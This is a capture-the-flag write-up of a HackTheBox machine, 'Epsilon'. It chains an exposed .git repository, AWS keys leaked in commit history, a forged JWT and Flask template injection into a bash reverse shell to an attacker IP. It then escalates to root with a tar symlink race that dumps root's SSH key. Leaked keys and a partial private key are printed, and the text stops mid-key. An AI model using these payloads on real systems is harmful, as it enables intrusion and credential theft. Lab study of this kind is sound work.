Content
- Git Source retrieve with GitHacker
- AWS Enumeration
- Lambda Function Enumeration
- Authentication Bypass
- Abusing JWT
- Server Side Template Injection (SSTI)
- Tar Symlink Exploitation
Reconnaissance
Enumeration is normal, we found ports 22, 80 & 5000
As we don’t have valid credentials for SSH we skip the port 22 and try to enumerate the web port tcp-80
As a first approach we execute the following command, nmap retrieves the .git folder accessible:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
nmap -sCV -p 22,80,5000 -A -vvv -oN targeted 10.10.11.134
Nmap scan report for 10.10.11.134
Host is up, received echo-reply ttl 63 (0.17s latency).
Scanned at 2022-07-01 22:58:52 CDT for 21s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC82vTuN1hMqiqUfN+Lwih4g8rSJjaMjDQdhfdT8vEQ67urtQIyPszlNtkCDn6MNcBfibD/7Zz4r8lr1iNe/Afk6LJqTt3OWewzS2a1TpCrEbvoileYAl/Feya5PfbZ8mv77+MWEA+kT0pAw1xW9bpkhYCGkJQm9OYdcsEEg1i+kQ/ng3+GaFrGJjxqYaW1LXyXN1f7j9xG2f27rKEZoRO/9HOH9Y+5ru184QQXjW/ir+lEJ7xTwQA5U1GOW1m/AgpHIfI5j9aDfT/r4QMe+au+2yPotnOGBBJBz3ef+fQzj/Cq7OGRR96ZBfJ3i00B/Waw/RI19qd7+ybNXF/gBzptEYXujySQZSu92Dwi23itxJBolE6hpQ2uYVA8VBlF0KXESt3ZJVWSAsU3oguNCXtY7krjqPe6BZRy+lrbeska1bIGPZrqLEgptpKhz14UaOcH9/vpMYFdSKr24aMXvZBDK1GJg50yihZx8I9I367z0my8E89+TnjGFY2QTzxmbmU=
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBH2y17GUe6keBxOcBGNkWsliFwTRwUtQB3NXEhTAFLziGDfCgBV7B9Hp6GQMPGQXqMk7nnveA8vUz0D7ug5n04A=
| 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKfXa+OM5/utlol5mJajysEsV4zb/L0BJ1lKxMPadPvR
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-methods:
|_ Supported Methods: POST OPTIONS HEAD GET
| **http-git:**
| **10.10.11.134:80/.git/**
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-title: 403 Forbidden
5000/tcp open http syn-ack ttl 63 Werkzeug httpd 2.0.2 (Python 3.8.10)
| http-methods:
|_ Supported Methods: GET POST HEAD OPTIONS
|_http-title: Costume Shop
|_http-server-header: Werkzeug/2.0.2 Python/3.8.10
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
# Nmap done at Fri Jul 1 22:59:13 2022 -- 1 IP address (1 host up) scanned in 21.91 seconds
Then with githacker1 tool we retrieve the whole .git repository as follows: :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
githacker --url http://10.10.11.134/.git/ --output-folder results
/home/shuciran/.local/lib/python3.10/site-packages/requests/__init__.py:102: RequestsDependencyWarning: urllib3 (1.26.5) or chardet (5.0.0)/charset_normalizer (2.0.12) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({})/charset_normalizer ({}) doesn't match a supported "
2022-07-02 06:46:05 INFO 1 urls to be exploited
2022-07-02 06:46:05 INFO Exploiting <http://10.10.11.134/.git/> into results/53c479b286e10d4cd9e0838a932ef696
2022-07-02 06:46:06 INFO Downloading basic files...
2022-07-02 06:46:06 INFO [73 bytes] 200 .git/description
2022-07-02 06:46:07 INFO [296 bytes] 200 .git/COMMIT_EDITMSG
2022-07-02 06:46:07 INFO [23 bytes] 200 .git/HEAD
2022-07-02 06:46:07 ERROR [274 bytes] 404 .git/FETCH_HEAD
2022-07-02 06:46:07 INFO [225 bytes] 200 .git/index
2022-07-02 06:46:07 INFO [2051 bytes] 200 .git/logs/HEAD
2022-07-02 06:46:07 INFO [240 bytes] 200 .git/info/exclude
2022-07-02 06:46:07 ERROR [274 bytes] 404 .git/logs/refs/remotes/origin/HEAD
2022-07-02 06:46:07 INFO [41 bytes] 200 .git/ORIG_HEAD
2022-07-02 06:46:08 ERROR [274 bytes] 404 .git/refs/tags/v1.0.0
2022-07-02 06:46:08 ERROR [274 bytes] 404 .git/logs/refs/heads/main
2022-07-02 06:46:08 INFO [613 bytes] 200 .git/logs/refs/heads/master
2022-07-02 06:46:08 ERROR [274 bytes] 404 .git/logs/refs/heads/dev
2022-07-02 06:46:12 ERROR [274 bytes] 404 .git/refs/heads/main
2022-07-02 06:46:12 INFO [41 bytes] 200 .git/refs/heads/master
2022-07-02 06:46:12 ERROR [274 bytes] 404 .git/refs/heads/hotfix
2022-07-02 06:46:12 ERROR [274 bytes] 404 .git/refs/heads/quickfix
2022-07-02 06:46:13 ERROR /tmp/tmp6kg6wple/.git/config is potential dangerous, skip downloading this file
2022-07-02 06:46:13 ERROR [-1 bytes] -1 .git/config
2022-07-02 06:46:13 ERROR /tmp/tmp6kg6wple/.git/hooks/commit-msg.sample is potential dangerous, skip downloading this file
2022-07-02 06:46:15 INFO Downloading head files...
2022-07-02 06:46:15 INFO [164 bytes] 200 .git/objects/c5/1441640fd25e9fba42725147595b5918eba0f1
2022-07-02 06:46:15 INFO [164 bytes] 200 .git/objects/c5/1441640fd25e9fba42725147595b5918eba0f1
2022-07-02 06:46:15 INFO [136 bytes] 200 .git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3
2022-07-02 06:46:15 INFO [136 bytes] 200 .git/objects/7c/f92a7a09e523c1c667d13847c9ba22464412f3
2022-07-02 06:46:16 INFO [160 bytes] 200 .git/objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d
2022-07-02 06:46:16 INFO [160 bytes] 200 .git/objects/b1/0dd06d56ac760efbbb5d254ea43bf9beb56d2d
2022-07-02 06:46:16 INFO [154 bytes] 200 .git/objects/c6/22771686bd74c16ece91193d29f85b5f9ffa91
2022-07-02 06:46:16 INFO [679 bytes] 200 .git/objects/df/dfa17ca5701b1dca5069b6c3f705a038f4361e
2022-07-02 06:46:16 INFO [525 bytes] 200 .git/objects/8d/3b52e153c7d5380b183bbbb51f5d402094463**0
2022-07-02 06:46:16 INFO Running git fsck files...
Checking object directories: 100% (256/256), done.
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
error: b5f4c99c772eeb629e53d284275458d75ed9a010: invalid sha1 pointer in cache-tree
2022-07-02 06:46:17 INFO [63 bytes] 200 .git/objects/cf/489a3776d2bf87ac32de4579e852a4dc116ce8
2022-07-02 06:46:17 INFO [64 bytes] 200 .git/objects/ab/07f7cdc7f410b8c8f848ee5674ec550ecb61ca
2022-07-02 06:46:17 INFO [95 bytes] 200 .git/objects/b5/f4c99c772eeb629e53d284275458d75ed9a010
2022-07-02 06:46:17 INFO [95 bytes] 200 .git/objects/65/b80f62da28254f67f0bea392057fd7d2330e2d
2022-07-02 06:46:17 INFO [95 bytes] 200 .git/objects/65/b80f62da28254f67f0bea392057fd7d2330e2d
Checking object directories: 100% (256/256), done.
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
2022-07-02 06:46:18 INFO [527 bytes] 200 .git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
2022-07-02 06:46:18 INFO [527 bytes] 200 .git/objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
2022-07-02 06:46:18 INFO [582 bytes] 200 .git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
2022-07-02 06:46:18 INFO [582 bytes] 200 .git/objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
Checking object directories: 100% (256/256), done.
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry ce401ccecf421ff19bf43fafe8a60a0d0f0682d0
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
error: HEAD: invalid reflog entry 5c52105750831385d4756111e1103957ac599d02
2022-07-02 06:46:18 INFO Cloning downloaded repo from /tmp/tmp6kg6wple to results/53c479b286e10d4cd9e0838a932ef696
2022-07-02 06:46:18 ERROR fatal: destination path 'results/53c479b286e10d4cd9e0838a932ef696' already exists and is not an empty directory.
2022-07-02 06:46:18 INFO 0 / 1 were exploited successfully
Inside the .git folder we can retrieve 2 scripts made in python:
server.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3
import jwt
from flask import *
app = Flask(__name__)
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
app.run(debug='true')
track_api_CR_148.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='<http://cloud.epsilon.htb>')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
After running server.py we notice that it is running on 127.0.0.1 over port 5000 which is actually the same as the other open port as the victim machine:
1
2
3
4
5
6
7
8
9
10
❯ python3 server.py
* Serving Flask app 'server' (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on **<http://127.0.0.1:5000>** (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 140-916-504
Foothold
As we can read on the server.py script if we enter the credentials username:admin & password:admin it should be enough to access to the webpage as admin:
1
2
3
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
But as we can see in the image below, that is not the case:
After looking on another routes within the script we found nothing useful that could lead us into the web page, something to notice is that there is a JWT Token needed to get authorization, but as we do not have such token nor the secret to create one, we proceed to further enumerate.
On the other hand, by reviewing the track_api_CR_148.py script we can identify that there is an URI called cloud.epsilon.htb which is something remarkable as there are some other machines that use virtual hosting to hide/use services, we proceed to add in the first place such URL to our /etc/hosts file in order to resolve it if needed in the future:
1
2
3
4
5
6
7
8
GNU nano 6.3 /etc/hosts Modified
# Static table lookup for hostnames.
# See hosts(5) for details.
127.0.0.1 localhost
::1 localhost
10.10.11.134 epsilon.htb cloud.epsilon.htb
Then we proceed to investigate what kind of script is this and what type of service could be running with such code, after some time we found that it is being used by an application called Lambda which is an Amazon Web Service as described below:
After some investigation we found that it is possible to interact with it via aws-cli (see the section resources for more info), an interactive console that allow us to retrieve interesting information.
In order to access to a lambda configuration we’ll need some credentials that we do not have, but a good idea is to try to retrieve it from previous versions of the github by first listing the git commits2 that were made and then retrieving the changes on such version by using following commands:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
> git log
commit c622771686bd74c16ece91193d29f85b5f9ffa91 (HEAD -> master, origin/master, origin/HEAD)
Author: root <root@epsilon.htb>
Date: Wed Nov 17 17:41:07 2021 +0000
Fixed Typo
commit b10dd06d56ac760efbbb5d254ea43bf9beb56d2d
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:02:59 2021 +0000
Adding Costume Site
commit c51441640fd25e9fba42725147595b5918eba0f1
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:58 2021 +0000
Updatig Tracking API
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
❯ git show 7cf92a7a09e523c1c667d13847c9ba22464412f3
commit 7cf92a7a09e523c1c667d13847c9ba22464412f3
Author: root <root@epsilon.htb>
Date: Wed Nov 17 10:00:28 2021 +0000
Adding Tracking API Module
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
new file mode 100644
index 0000000..fed7ab9
--- /dev/null
+++ b/track_api_CR_148.py
@@ -0,0 +1,36 @@
+import io
+import os
+from zipfile import ZipFile
+from boto3.session import Session
+
+
+session = Session(
**+ aws_access_key_id='AQLA5M37BDN6FJP76TDC',
+ aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ region_name='us-east-1',
+ endpoint_url='<http://cloud.epsilong.htb>')**
+aws_lambda = session.client('lambda')
+
+
+def files_to_zip(path):
+ for root, dirs, files in os.walk(path):
+ for f in files:
+ full_path = os.path.join(root, f)
+ archive_name = full_path[len(path) + len(os.sep):]
+ yield full_path, archive_name
+
As we can see the information retrieved could help us to configure the lambda AWS3, by running the next command, we’ll be asked for all of this info:
1
2
3
4
5
❯ aws configure
AWS Access Key ID [****************6TDC]: **AQLA5M37BDN6FJP76TDC**
AWS Secret Access Key [****************Fo1A]: **OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A**
Default region name [us-east-1]: **us-east-1**
Default output format [json]: **json**
Then we investigate for such a command that could help us to retrieve information, for example, the following list all the functions within the lambda service running: 4
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
aws --endpoint-url=http://cloud.epsilon.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "**costume_shop_v1**",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-07-04T02:50:18.690+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "c23733b8-79c5-434a-ac38-2bdd1de4cc9e",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
As we can see there is a function called “costume_shop_v1”, after getting the functions then we can execute another command5 very useful to extract the info inside, such info is the configuration for this site the most important item to take notice of is the URL within:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
aws --endpoint-url=http://cloud.epsilon.htb lambda get-function --function-name=costume_shop_v1
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-07-04T02:50:18.690+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "c23733b8-79c5-434a-ac38-2bdd1de4cc9e",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
},
"Code": {
**"Location": "<http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code>"**
},
"Tags": {}
}
Upon accessing the link we can download the file lambda_archive.zip, after decompressing it we could verify that such file contains an interesting file called lambda_function.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
Such password could be used to craft our own JWT as it seems to be the secret that we lack of, after crafting our own JWT token on jwt.io by following the server.py code structure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
**if request.form['username']=="admin" and request.form['password']=="admin":**
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
We get the following:
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.r6AIIBdhkEV-3LEXG1usQ40lEDpHywesJwRqFc-FgcA
Then after injecting this cookie on our browser following the structure server.py and how it expect to be created:
1
2
3
4
@app.route("/home")
def home():
**if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')**
We are able to enter as the user Admin, please notice that in first glance it looks like it is not working but as you can see on the previous code, the verification of the cookie is happening while going to the /home route.
Exploitation
After looking through the web page we can identify an SSTI input, this because the request is being reflected on the response: 6
And this is how the response looks like in Burp Suite:
Also something to keep in mind is that server.py is written on Flask which is another potential vector to consider while looking for a SSTI attack, after several tries, we can identify that it is possible to retrieve a reverse shell by using a payload from PayloadAllTheThings (see more info on references) which is our bible for such kind of attacks:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /order HTTP/1.1
Host: 10.10.11.134:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: <http://10.10.11.134:5000>
Connection: close
Referer: <http://10.10.11.134:5000/order>
Cookie: auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiJ9.r6AIIBdhkEV-3LEXG1usQ40lEDpHywesJwRqFc-FgcA; {7e2e7ad0-c743-4ed1-9f7a-d1144abf06dd}=value; {7157ebd6-a4ef-4328-9c1a-eb0783c5d4af}=value
Upgrade-Insecure-Requests: 1
costume=&q=ad&addr=ad
The following file needs to be created as index.html
1
2
3
4
GNU nano 6.3 index.html
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.5/1235 0>&1'
Then we start a web server via python to retrieve the file and also we need to open the listening port (each command needs to be running on different shells):
1
2
3
sudo python3 -m http.server 80
nc -lvnp 1235
After that we have access to the victim machine as user tom:
1
2
3
4
5
6
❯ nc -lvnp 1235
Connection from 10.10.11.134:38822
bash: cannot set terminal process group (979): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$ whoami
tom
After getting the shell non-interactive we then can optionally proceed to get an stable and interactive shell7, there are a lot of ways to do it, but follows is the one that worked for us on this machine:
First of all press Ctrl + Z, this will send the shell onto the background:
1
2
tom@epsilon:/var/www/app$ ^Z
zsh: suspended nc -lvnp 1235
Then type the following command (stty raw -echo; fg) to get the shell back but with a threatment that allows us to for example delete a character, we will receive a message “continued” after that we type reset xterm in order to continue with the shell that was previously backgrounded:
1
2
3
4
stty raw -echo; fg
[1] + continued nc -lvnp 1235
reset xterm
reset: terminal attributes: No such device or address
Afterwards we’ll see that the shell is still pretty akward to work with because its output is staggered, in order to fix this, python3 is always a great tool to do it by executing the last command:
1
2
3
4
5
6
7
8
9
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$
tom@epsilon:/var/www/app$ python43 3
pyth: command not found
tom@epsilon:/var/www/app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Afterwards the only missing step is to modify some environment variables to get the same shell as our host machine:
1
export TERM=xterm
Then we’ll get a fully interactive shell.
Privilege Escalation
As usual, we go and do the normal enumeration inside the machine, first try to find a service which could be exploited due to SUID permissions with the following command: 8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
tom@epsilon:/var/www/app$ find / -perm -4000 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/fusermount
/usr/bin/chsh
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/su
As we can see this machine has pkexec as sudo user, but this is not the intended way to solve it, other than that we couldn’t identify anything useful to enumerate, then we try to enumerate running services into the machine this can be achieved by uploading PSPY9 (see references for further details) enumeration tool:
1
2
3
4
5
6
7
8
On our machine:
python3 -m http.server 8888
On victim machine:
wget http://10.10.16.5:8888/pspy64
chmod +x pspy64
Then we execute the utility and check the running services, we can identify that there is a service running almost every minute by user root (this can be acknowledge by UID:0):
1
2
3
4
5
6
7
8
9
10
11
12
13
tom@epsilon:/tmp$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
2022/07/06 00:44:01 CMD: UID=0 PID=1859 | /usr/sbin/CRON -f
2022/07/06 00:44:01 CMD: UID=0 PID=1860 | /bin/sh -c **/usr/bin/backup.sh**
2022/07/06 00:44:01 CMD: UID=0 PID=1862 | /bin/bash /usr/bin/backup.sh
2022/07/06 00:44:01 CMD: UID=0 PID=1861 | /bin/bash /usr/bin/backup.sh
2022/07/06 00:44:01 CMD: UID=0 PID=1863 | /bin/bash /usr/bin/backup.sh
2022/07/06 00:44:01 CMD: UID=0 PID=1864 | /usr/bin/tar -cvf /opt/backups/099286704.tar /var/www/app/
2022/07/06 00:44:01 CMD: UID=0 PID=1866 | /bin/bash /usr/bin/backup.sh
2022/07/06 00:44:01 CMD: UID=0 PID=1865 | sha1sum /opt/backups/099286704.tar
2022/07/06 00:44:01 CMD: UID=0 PID=1867 | sleep 5
2022/07/06 00:44:06 CMD: UID=??? PID=1869 | ???
2022/07/06 00:44:06 CMD: UID=0 PID=1870 | /usr/bin/tar -chvf /var/backups/web_backups/118564375.tar /opt/backups/checksum /opt/backups/099286704.tar
We can see that there is a script being executed backup.sh10 if we go and review the code inside we get this:
1
2
3
4
5
6
7
8
9
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
In order to escalate privileges we need to focus on understand this code, the program as we can see is creating a backup by compressing the route “/var/www/app/” as a .tar file then extracting the checksum with sha1sum and then compressing both files of it and saving it on the path “/var/backups/web_backups/stampdate.tar” and finally removing everything on the initial folder.
As we can notice there is a stranger flag within the latest tar command which is -h:
1
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
After reading the manual for tar, we can see that this flag is used to follow symlink and dump the file that is pointing to:
1
2
3
4
5
6
7
8
9
10
--exclude-vcs-ignores
Exclude files that match patterns read from VCS-specific ignore files.
Supported files are: .cvsignore, .gitignore,
.bzrignore, and .hgignore.
-h, --dereference
Follow symlinks; archive and dump the files they point to.
--hard-dereference
Follow hard links; archive and dump the files they refer to.
With this in mind then we can start a race condition to delete the checksum file which is being generated and then insert our symlink pointing to an interesting file that allow us to escalate privileges (root id_rsa for example):
First we need to create a script that checks when the file checksum is generated, remove it and create our symlink instead of it pointing to the id_rsa from root, exactly like this:
1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
while true
do
if [ -e /opt/backups/checksum ]
then
rm -rf /opt/backups/checksum
ln -s /root/.ssh/id_rsa /opt/backups/checksum
break;
fi
done
Once that we execute this script we’ll see that the latest file under /var/backups/web_backups path contains the id_rsa from root within:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA1w26V2ovmMpeSCDauNqlsPHLtTP8dI8HuQ4yGY3joZ9zT1NoeIdF
16L/79L3nSFwAXdmUtrCIZuBNjXmRBMzp6euQjUPB/65yK9w8pieXewbWZ6lX1l6wHNygr
QFacJOu4ju+vXI/BVB43mvqXXfgUQqmkY62gmImf4xhP4RWwHCOSU8nDJv2s2+isMeYIXE
SB8l1wWP9EiPo0NWlJ8WPe2nziSB68vZjQS5yxLRtQvkSvpHBqW90frHWlpG1eXVK8S9B0
1PuEoxQjS0fNASZ2zhG8TJ1XAamxT3YuOhX2K6ssH36WVYSLOF/2KDlZsbJyxwG0V8QkgF
u0DPZ0V8ckuh0o+Lm64PFXlSyOFcb/1SU/wwid4i9aYzhNOQOxDSPh2vmXxPDkB0/dLAO6
wBlOakYszruVLMkngP89QOKLIGasmzIU816KKufUdLSFczig96aVRxeFcVAHgi1ry1O7Tr
oCIJewhvsh8I/kemAhNHjwt3imGulUmlIw/s1cpdAAAFiAR4Z9EEeGfRAAAAB3NzaC1yc2
EAAAGBANcNuldqL5jKXkgg2rjapbDxy7Uz/HSPB7kOMhmN46Gfc09TaHiHRdei/+/S950h
cAF3ZlLawiGbgTY15kQTM6enrkI1Dwf+ucivcPKYnl3sG1mepV9ZesBzcoK0BWnCTruI7v
r1yPwVQeN5r6l134FEKppGOtoJiJn+MYT+EVsBwjklPJwyb9rNvorDHmCFxEgfJdcFj/RI
j6NDVpSfFj3tp84kgevL2Y0EucsS0bUL5Er6RwalvdH6x1paRtXl1SvEvQdNT7hKMUI0tH
zQEmds4RvEydVwGpsU92LjoV9iurLB9+llWEizhf9ig5WbGycscBtFfEJIBbtAz2dFfHJL
odKPi5uuDxV5UsjhXG/9UlP8MIneIvWmM4TTkDsQ0j4dr5l8Tw5AdP3SwDusAZTmpGLM67
lSzJJ4D/PUDiiyBmrJsyFPNeiirn1HS0hXM4oPemlUcXhXFQB4Ita8tTu066AiCXsIb7If
CP5HpgITR48Ld4phrpVJpSMP7NXKXQAAAAMBAAEAAAGBAMULlg7cg8oaurKaL+6qoKD1nD
